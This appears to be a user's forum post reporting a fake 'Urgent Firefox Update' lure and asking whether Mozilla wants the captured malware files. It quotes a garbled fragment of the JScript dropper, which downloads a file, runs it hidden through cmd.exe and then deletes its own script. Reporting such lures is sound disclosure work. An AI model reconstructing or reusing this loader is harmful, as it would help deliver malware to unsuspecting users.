I have a .js file and .dat file that I snagged when a Urgent Firefox Update message popped up. This urgent update looked very Firefox Official. I noticed the redirect URL and it was: So I saved the .js file on one of my other computers and snagged some other stuff from their API. I have the malware code that is Firefox directed. Just need to know where to send the compressed files. Below is a glimpse at some of the .js code:


for(var i=1;i<=5;i++)

try {'GET', url, false); c.send(null); break; }


WScript.Sleep(5000); }

d.Type = 1;
if (b.Fileexists(fname))b.DeleteFile(fname);
d.SaveToFile(fname);'cmd.exe /c "'+fname+'"',0,false);
var p = WScript.ScriptFullName;
if (b.FileExists(p))b.DeleteFile(p);
WScript.Echo('Update complete.'); 
} catch (e) {}

I did not click on the provided URLs; I opened up my Kali Linux VM and grabbed the direct URL to file links and downloaded the package that the malware was intending to deliver behind the scenes. I am just wondering if Mozilla is interested in the code; if not then this is solved.
